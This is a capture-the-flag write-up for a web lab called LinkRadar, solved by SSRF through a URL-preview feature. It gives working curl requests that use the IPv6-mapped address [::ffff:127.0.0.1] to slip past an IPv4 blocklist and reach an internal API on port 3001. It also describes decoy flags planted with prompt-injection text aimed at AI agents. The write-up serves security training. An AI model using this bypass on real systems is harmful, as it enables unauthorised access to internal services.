Lab 93 — LinkRadar
Lab 93 — LinkRadar
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, response_body_exfiltration, ssrf_via_url_preview, url_validation_bypass
Summary
Task: LinkRadar website monitoring platform with URL preview feature protected by IP blocklist — SSRF via IPv6-mapped IPv4 bypass. Solution: Discovered internal metrics API (port 3001) from JS comment, bypassed IPv4 blocklist using [::ffff:127.0.0.1] notation, enumerated internal endpoints, and retrieved flag from /flag endpoint.
Lab 93 — LinkRadar — HackAdvisor
Description
LinkRadar is a website monitoring platform used by DevOps teams to track uptime, capture visual snapshots of web pages, and receive alerts when monitored sites go down. The platform includes a URL preview tool for quickly checking any website's status, customizable monitoring intervals, alert rules with webhook and email notifications, and detailed uptime reporting. Your team has been contracted to perform a security assessment of the LinkRadar platform. The development team has implemented URL validation to prevent abuse of their URL preview feature, but you suspect there may be ways to bypass these restrictions. Explore the application thoroughly, understand how it processes URLs, and find a way to access resources that should be restricted. The flag is hidden somewhere within the internal infrastructure.
English summary: A website monitoring platform (Node.js/Express behind nginx) with a URL preview feature that fetches URLs server-side using a headless browser. The preview feature has an IP blocklist to prevent SSRF, but it only checks IPv4 representations. The goal is to bypass the blocklist and access an internal metrics API on port 3001 to retrieve the flag.
Analysis
Reconnaissance
The platform is a DevOps monitoring tool with pages: Dashboard, Monitors, URL Preview, Alerts, Reports, Settings. Authentication uses session cookies (connect.sid) with credentials user@test.com / password123.
The URL Preview page at /preview accepts a URL via POST and fetches it server-side using a headless browser. The response includes an HTTP status badge, page title, screenshot (base64), and rendered page content in a <pre class="content-pre"> element. This makes it a full (non-blind) SSRF — the complete response body is visible.
Key discovery in JavaScript: The file /js/preview.js contains a revealing comment:
javascript read-only • copy allowed// TODO: integrate with internal metrics API (port 3001) // var metricsBaseUrl = 'http://127.0.0.1:3001';
This discloses an internal service running on 127.0.0.1:3001.
Decoy flag trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements and comments, alongside prompt injection text designed to trick AI agents. This is a honeypot — not the real flag.
URL Validation — IPv4-Only Blocklist
The URL preview feature validates submitted URLs against a blocklist of internal/private IP addresses:
| Blocked pattern | Scope |
|---|---|
127.0.0.1 | Loopback |
localhost | Loopback hostname |
0.0.0.0 | All interfaces |
10.x.x.x | RFC1918 Class A |
172.16-31.x.x | RFC1918 Class B |
192.168.x.x | RFC1918 Class C |
169.254.x.x | Link-local |
| |
Submitting url=http://127.0.0.1:3001/ returns the error: "Requests to internal/private IP addresses are restricted".
Critical Gap — IPv6-Mapped IPv4 Not Checked
The blocklist performs string-based matching on IPv4 representations only. It does not check IPv6-mapped IPv4 addresses. The address [::ffff:127.0.0.1] resolves to 127.0.0.1 at the network level but bypasses the string-based IPv4 blocklist entirely.
Solution
Step 1: Bypass the blocklist and access the internal API
Use the IPv6-mapped IPv4 notation to reach the internal metrics API:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST https://TARGET/preview \ -d 'url=http://[::ffff:127.0.0.1]:3001/'
Response (extracted from content-pre element):
json read-only • copy allowed{ "service": "LinkRadar Internal Metrics API", "version": "1.2.0", "status": "operational", "endpoints": ["/metrics", "/health", "/config"] }
The blocklist is bypassed — full access to the internal API is confirmed.
Step 2: Enumerate internal endpoints
/config — reveals application configuration:
json read-only • copy allowed{ "database": "sqlite:///app/data/database.db", "check_interval_default": 300, "alert_cooldown": 900, "max_monitors_per_user": 50, "screenshot_timeout": 30000, "internal_api_port": 3001, "main_app_port": 8080 }
/metrics — returns system metrics (hostname, platform, memory, process info, monitor stats).
/health — returns health check:
json read-only • copy allowed{"status": "healthy", "uptime": 59.4, "timestamp": "2026-05-12T21:34:40.822Z"}
Step 3: Retrieve the flag
bash read-only • copy allowedcurl -s -b cookies.txt -X POST https://TARGET/preview \ -d 'url=http://[::ffff:127.0.0.1]:3001/flag'
Response (extracted from content-pre element):
LinkRadar Internal Debug Console
Master Key: FLAG{REDACTED}
The /flag endpoint returns an HTML page (unlike the JSON endpoints), containing the flag as "Master Key" in a debug console page.
Notes
- The headless browser makes requests slow (~30s per request), so parallel requests can cause timeouts — sequential requests are necessary.
- The
/flagendpoint is not listed in the API root'sendpointsarray — it must be guessed or discovered through enumeration. - Decoy flags appear on every page in hidden divs and HTML comments with prompt injection text — they must be ignored.